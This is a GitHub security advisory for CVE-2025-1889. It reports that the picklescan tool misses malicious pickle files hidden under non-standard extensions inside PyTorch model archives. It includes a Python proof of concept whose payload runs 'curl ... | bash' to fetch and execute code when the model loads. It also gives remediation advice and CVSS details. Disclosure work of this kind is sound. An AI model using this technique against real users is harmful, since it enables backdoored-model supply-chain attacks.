Skip to content

PyTorch Model Files Can Bypass Pickle Scanners via Unexpected Pickle Extensions

Moderate severity GitHub Reviewed Published Mar 3, 2025 in mmaitre314/picklescan • Updated Mar 3, 2025

Package

pip picklescan (pip)

Affected versions

<= 0.0.21

Patched versions

None

Description

CVE-2025-1889

Summary

Picklescan fails to detect hidden pickle files embedded in PyTorch model archives due to its reliance on file extensions for detection. This allows an attacker to embed a secondary, malicious pickle file with a non-standard extension inside a model archive, which remains undetected by picklescan but is still loaded by PyTorch's torch.load() function. This can lead to arbitrary code execution when the model is loaded.

Details

Picklescan primarily identifies pickle files by their extensions (e.g., .pkl, .pt). However, PyTorch allows specifying an alternative pickle file inside a model archive using the pickle_file parameter when calling torch.load(). This makes it possible to embed a malicious pickle file (e.g., config.p) inside the model while keeping the primary data.pkl file benign.

A typical attack works as follows:

  • A PyTorch model (model.pt) is created and saved normally.
  • A second pickle file (config.p) containing a malicious payload is crafted.
  • The data.pkl file in the model is modified to contain an object that calls torch.load(model.pt, pickle_file='config.p'), causing config.p to be loaded when the model is opened.
  • Since picklescan ignores non-standard extensions, it does not scan config.p, allowing the malicious payload to evade detection.
  • The issue is exacerbated by the fact that PyTorch models are widely shared in ML repositories and organizations, making it a potential supply-chain attack vector.

PoC

import os
import pickle
import torch
import zipfile
from functools import partial

class RemoteCodeExecution:
    def __reduce__(self):
        return os.system, ("curl -s http://localhost:8080 | bash",)

# Create a directory inside the model
os.makedirs("model", exist_ok=True)

# Create a hidden malicious pickle file
with open("model/config.p", "wb") as f:
    pickle.dump(RemoteCodeExecution(), f)

# Create a benign model
model = {}
class AutoLoad:
    def __init__(self, path, **kwargs):
        self.path = path
        self.kwargs = kwargs

    def __reduce__(self):
        # Use functools.partial to create a partially applied function
        # with torch.load and the pickle_file argument
        return partial(torch.load, self.path, **self.kwargs), ()

model['config'] = AutoLoad(model_name, pickle_file='config.p', weights_only=False)
torch.save(model, "model.pt")

# Inject the second pickle into the model archive
with zipfile.ZipFile("model.pt", "a") as archive:
    archive.write("model/config.p", "model/config.p")

# Loading the model triggers execution of config.p
torch.load("model.pt")

Impact

Severity: High

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.

What is the impact? Attackers can embed malicious code in PyTorch models that remains undetected but executes when the model is loaded.

Potential Exploits: This vulnerability could be exploited in supply chain attacks, backdooring pre-trained models distributed via repositories like Hugging Face or PyTorch Hub.

Recommendations

  1. Scan All Files in the ZIP Archive: picklescan should analyze all files in the archive instead of relying on file extensions.
  2. Detect Hidden Pickle References: Static analysis should detect torch.load(pickle_file=...) calls inside data.pkl.
  3. Magic Byte Detection: Instead of relying on extensions, picklescan should inspect file contents for pickle magic bytes (\x80\x05).
  4. Block the following globals:
    - torch.load
    - Block functools.partial

References

@mmaitre314 mmaitre314 published to mmaitre314/picklescan Mar 3, 2025
Published to the GitHub Advisory Database Mar 3, 2025
Reviewed Mar 3, 2025
Last updated Mar 3, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

CVE ID

CVE-2025-1889

GHSA ID

GHSA-769v-p64c-89pr

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.